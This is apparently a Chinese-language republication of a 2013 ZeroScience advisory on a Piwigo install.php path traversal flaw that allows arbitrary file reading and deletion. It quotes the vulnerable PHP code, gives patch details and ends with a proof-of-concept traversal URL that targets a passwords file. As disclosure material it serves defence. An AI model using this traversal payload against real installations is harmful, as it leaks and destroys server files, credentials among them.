Piwigo任意文件泄露和任意文件删除漏洞

2013-03-01 13:55:27 5 3020
Piwigo是用PHP编写的相册脚本。 文章作者: qing edit

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
====================================================================
/install.php:

-------------



113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))

114: {

115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];

116:   header('Cache-Control: no-cache, must-revalidate');

117:   header('Pragma: no-cache');

118:   header('Content-Disposition: attachment; filename="database.inc.php"');

119:   header('Content-Transfer-Encoding: binary');

120:   header('Content-Length: '.filesize($filename));

121:   echo file_get_contents($filename);

122:   unlink($filename);

123:   exit();

124: }
====================================================================


Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php

Vendor Patch: http://piwigo.org/bugs/view.php?id=2843



15.02.2013


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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
类别 Web安全

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